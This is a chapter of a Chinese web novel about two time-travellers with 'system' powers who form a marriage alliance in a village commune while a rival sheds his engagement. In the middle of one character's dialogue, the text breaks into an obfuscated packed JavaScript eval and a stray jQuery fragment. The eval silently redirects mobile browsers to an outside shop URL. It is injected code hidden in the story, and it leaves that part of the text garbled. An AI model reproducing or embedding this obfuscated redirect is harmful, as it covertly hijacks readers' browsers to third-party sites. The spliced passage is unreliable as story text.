温冬阳整个人都不好了。
刚穿越还没站稳脚后跟,就遇到了一个同样怀金手指的人,也不知是这里的土著还是穿越的老乡。
而且,遇到就算了,她这系统怎么藏不住一点事,直接就发了全服公告呢!
虽然知道了对方身上的秘密,可自己的金手指也暴露了,实属伤敌一千自损一千。
温冬阳此刻的心情复杂又警惕,欣赏帅哥的念头瞬间荡然无存。
不过,对面那个白皮男显然也弄不明白她这边的情况,正用一种警觉的眼神打量她。
两人就这样相互瞪着眼,像是两条狭路相逢,摸不清对方路数,头顶着头呲牙僵持的狗。
【系统同志,你说现在怎么办!你捅出的篓子,你得负责善后吧?】
温冬阳大声质问系统。
说正事的时候称职务,她现在的语气很严肃。
系统估计也自知理亏,语气略带谄媚:【哎呀,宿主同志,您先别急。现在这个情况虽然意外,不过也有一个好消息哦!对方那个统的等级比我低,功能也比我少,区区小统,不足为惧!】
温冬阳狐疑:【等级比你低?可刚才的提示音,对方显然也听见了,我的秘密已经被他知道了!】
系统解释:【我和那个统是同一厂家生产的,就跟两台x果手机一样,靠得太近就自动配对了。通报这事无法避免,不过你放心,为了补偿你受伤的心灵,我现在就调动权限,给对方来一个彻头彻尾的大检查,把他的底裤扒下来!】
【好吧,那你快点扒,我的眼睛好酸,快撑不住了!】
温冬阳一边继续和白皮男瞪眼,一边暗中等待系统的工作成果。
【数据已接收!传输分析中......啊,宿主同志,你可以放心了,对方的灵魂澄澈度很高,没有做过任何违法乱纪的坏事,是个绝对意义上的大好人!】
【哦,原来他也是从别的时空过来的,死得比较早,人生经历不是很多,我这就传给你看看:】
【孟星灿,男,出生时遭亲生父母遗弃,于婴孩时期被好心人送入江城市孤儿院。】
哦,听起来跟她一样,也是孤儿。不过比她惨一点,生下来就没父母,在孤儿院长大。
部分相同的遭遇让温冬阳的眉头稍微松了松。
但很快,系统接下来发的资料又让她眉头再次锁紧。
【1岁时,为引起院长注意多喝一口米糊故意大声哭嚎。】
【3岁时,为多吃两口饭在孤儿院内部挑拨离间。】
【5岁时,为争取上学机会在孤儿院内部挑拨离间。】
【6岁时,为躲避校园霸凌在小学内部挑拨离间。】
温冬阳:?
什么玩意,是她听力出现问题了吗?怎么一直听到挑拨离间?
这还没完。
系统:【......10岁时在初中挑拨离间。13岁孤儿院倒闭中途辍学,前往修车铺当学徒并挑拨离间。16岁靠挑拨离间成功继承修车铺,并做局在附近五百米内另外两家修车铺挑拨离间,做大做强修车店。18岁在创业二手车公司并挑拨离间的途中不幸意外身亡。】
温冬阳忍不住了:【不是,系统你自己听听这像绝世好人吗?】
这人短暂的一生,不是在挑拨离间,就是在挑拨离间的路上,活脱脱一个挑拨离间大王啊!
系统好言相劝:【哎,宿主你想嘛,这人一辈子干的最坏的事就是挑拨离间了,而且大多数也是为了自己的生存迫不得已,客观上来说应该算是好人吧?】
【我查了一下,除了挑拨离间,他甚至连垃圾都没乱丢过呢!挑拨离间对咱们来说很好防的,你听不出来他的阴阳怪气没关系,这不是还有我吗?现在我们已经扒光他的底裤了,他对我们还一无所知,敌在明我在暗,你压根不必怕!不管发生什么,我保证一定会稳稳地接住你!】
系统说的话,虽然多数都很扯淡,但也不是完全没有道理。
这个叫孟星灿的家伙在孤儿院长大,不为自己争取恐怕会过得很辛苦。
只是有心机了一些,不算穷凶极恶之徒,确实还有交涉的空间。
而且......
温冬阳看了一眼对面人的表情,系统应该没骗人,对方的权限确实比自己低一些。这让她心里稍稍放心。
不过,对方不了解自己,也不利于后续合作的开展。
要想谈合作,自己也得拿出点诚意。
温冬阳想了想:【这样吧系统,你把我的一部分资料传到对方那边去,能做到不?】
【可以的宿主,你想传输什么?】
温冬阳清咳一声:【就照着他那个格式来吧。刚出生被医院评定为遵守纪律天使宝宝,幼儿园以满分成绩被评选为上进之星,小学连续拿到六年市级三好学生并任大队干部......高中时父母双亡,考入华国首府大学,毕业后继续读社会工作研究生。】
她不忘强调:【记住,一定要说我研究生已经顺利答辩毕业拿到证书了!】
一些对毕业的迷之执念。
系统乖巧:【好的宿主,你的简历已经发送到对方的系统里了!】
温冬阳听到后,立刻紧盯这个名叫孟星灿的人。
看到对方的表情似乎略微缓和,便知道他应该也看完她发过去的简历了。
温冬阳这么设计简历,并不是为了炫耀,而是为了让对方觉得,自己一辈子都在学校里读书,有学历还拿过三好学生,上进、道德感强的同时阅历少。
这样,对方就容易降低警惕心,产生与自己合作的念头。
这才是真正的敌在明我在暗。
当然,这个叫孟星灿的人,毕竟是个挑拨离间的高手,她也没想着对方能完全信任自己。
只看在她是遵纪守法好学生的份上,别给她添堵就行了。
本来穿越到这边就不容易,她还得忙活卖菜升级系统的事,并不想再树立一个敌人去费神应对。
伟人有句话说得好,要团结一切可以团结的力量。让朋友多多的,敌人少少的。
按刚才系统获取的信息来看,对方的金手指似乎是叫超市系统,一听就十分有用。
如果她们能合作,这日子不是更轻松吗?
想到这里,温冬阳抬头看了孟星灿一眼。
后者并不是笨人,应该是迅速想明白了这一摊事,居然朝她露出一个和善的笑容。
哎,也好。跟聪明人打交道虽然累点,但总比笨蛋省心许多。
既然对方有合作的态度……
眼下,她们这种情况,需要经常近距离沟通,需要互惠互利,为了维持信任,最好再组成一个明面上有保障、有限制的利益共同体。
所以,最好的合作方式似乎是,协议婚姻?
温冬阳能想到这个方案,也是看在对方确实除了挑拨离间外没做过坏事的份上。
不过,贸然提出商业联姻,是不是太唐突了?
正思索着,一道如惊雷般的悦耳男声猝然响起:
“温冬阳同志,你撑着病体走出来,只为背负起这份属于你的责任,我敬你是个坚强的铁人!一瞬间,我已被你顽强的意志,和极高的思想觉悟打动。我希望以后能跟你站在一条战线上,共同劳动,共同进步,共同建设新华国,请问,你愿意给我这个机会吗?”
孟星灿一边说,一边大步从人堆里走出来,目光炯炯地看向她。
那一身正气的模样,看着像是要介绍温冬阳入党。
四周本来有不少社员正交头接耳,这会儿听到他的声音,立马就安静了,支起耳朵八卦地看向他俩。
一旁的孟宏志听到后,先是吃了一大惊。但很快,他就陷入了巨大的狂喜之中。
上辈子是没这事的。
他本来还头痛如何撮合堂弟和病秧子,没想到都不用他出手,这俩人自己就王八瞪绿豆看对眼了!
哈哈!老天果然厚爱他!
等这俩人正式在一起,堂弟就没贞洁可言了,领导的千金肯定再也看不上他!
“好哇!好好好!”
孟宏志咧着嘴角忍不住拍掌,对温冬阳假惺惺道:
“温冬阳同志,你能醒来真是太好了。跟你说话的这个是我堂弟孟星灿,也是咱们队里最优秀,最俊俏的男青年。要我说,咱们这是新时代,婚姻大事还得你自己拿主意。我当然是很想履行承诺跟你一起进步的,但如果你更想跟我堂弟共同进步,我一定送上最衷心的祝福
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722823|208542||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!”
此刻的孟宏志很感谢孟星灿长了一张小白脸。
只要是个肤浅的女人,就一定会选择孟星灿。不然他也不敢说这种敞亮话。
这辈子,他打定主意绝不会再娶温冬阳。
有围观社员一听忍不住嘀咕:“这孟宏志听着还挺会做人?”
另一个社员悄声:“做啥人呀,你还是太嫩了,他那是嫌弃人家姑娘有病,一听堂弟想娶,立马就把人家当成烫手山芋甩开!你就看他乐的,嘴角都压不住呢!”
“要我说,孟星灿这小伙子倒是挺不错......”
“嗬!我看他也不咋地!刚站人堆里不吭声,这会儿发现那丫头长得好看,就突然看到人家极高的思想觉悟了!”
孟星灿并不把围观群众的议论放在心上。
他看了一眼孟宏志,露出一个自然的微笑:“我记得,宏志哥刚还说过包办婚姻是封建习俗,应该已经放弃这段革命情谊了才对。怎么突然又说,愿意履行承诺,和温同志一起进步了?我自己是真赏识温同志,才说刚才那些话,宏志哥倒不用勉强自己说一些违心之言。”
孟宏志听他说的,总觉得不得劲:“我没有勉强,我也是真心实意的!我早就说了,我虽然反对包办婚姻,但我也尊重温同志的意愿,选择权在她手中!”
孟星灿垂下眼睛:“好吧,看来是我误会宏志哥了。刚还以为你放弃了婚约,我才鼓起勇气说那些话呢。现在知道是误会,我想温同志肯定更愿意考虑知根知底、踏实讲信用的你。我也就是一张小白脸还能看,但要过日子,脸又不能当饭吃,还是你这种老实人更受欢迎啊。”
说完,他暗暗朝温冬阳递了个眼神。
温冬阳意会了。
就算要跟孟星灿结盟,她也不乐意看着孟宏志在那无端装好人,在退亲这事里占大义。
嘴上说的好听,把选择权交给自己,但她要真直接选了孟星灿,背后肯定要被人说三道四。
一开始可能是说她和孟星灿俩人见色起意,再传几天没准就成她俩给孟宏志戴绿帽子了。
温冬阳也不说话,就频频打量着孟宏志,捂住胸口,眼神中渐渐流露出一种欣赏与坚定。
然后她张了张嘴,像是要开口。
孟宏志一看,就觉得温冬阳肯定把堂弟那番话听进去了。
这女人绝对是看上优秀踏实肯干的自己了啊!
没想到,这姓温的有点定力,还真能抵住美色诱惑,这怎么行呢!
他忙说:“温同志,你先别急着开口,再多考虑考虑!我堂弟这人啥都好,就是有点自卑。他刚说那些话都是谦虚,实则在家里也是个能抗事的,他从小脑子就灵,绝对是过日子的人!最重要的是,他能看到你更多优点,我这点就不如他呀!”
“而且,我也没他说的那么好。你别因为婚约的事心里有包袱,那都是封建陋习了,合该废除。以后队里谁敢拿这些事说嘴,我肯定第一个站出来帮你说话!”
这下,但凡是个正常人,都能听出孟宏志对这门亲事的抗拒了。
温冬阳觉得时机差不多,叹了口气,朝孟宏志露出失望的表情:“好吧,谢谢你,你是一个好人。希望你日后能遇到一个和你拥有共同理想的女同志。”
她想了想,又看向孟星灿:“孟星灿同志刚说的那些话,让我很感动,我们的想法一样,我愿意和你一起建设新华国!”
啊,太好了,终于!
孟宏志长长松了口气。
他本想借着退亲这事经营个好名声,没想到还是沾了点脏。
但好在,结果是好的。病秧子真要嫁给小白脸了!
领导千金也该换他娶了!
见事情朝着意想不到的发展方向去了,围观群众们猛猛吃瓜,或是真诚祝福,或是纯粹看戏,总之热闹非凡。
只有孟星灿他老娘陈芳折是真着急。
这个死儿子,怎么完全不跟他老娘打声招呼,两下就给自己说了个媳妇回来呢!
她赶紧跑到孟星灿身后,伸手就朝他腰上狠揪一把,压低了声音道:“臭小子你疯啦?你日子不过了老娘还想过呢!你把人娶回去倒是高兴了,咱家咋办呢?你赶紧跟人好好说说,这门亲咱家绝不能应啊!”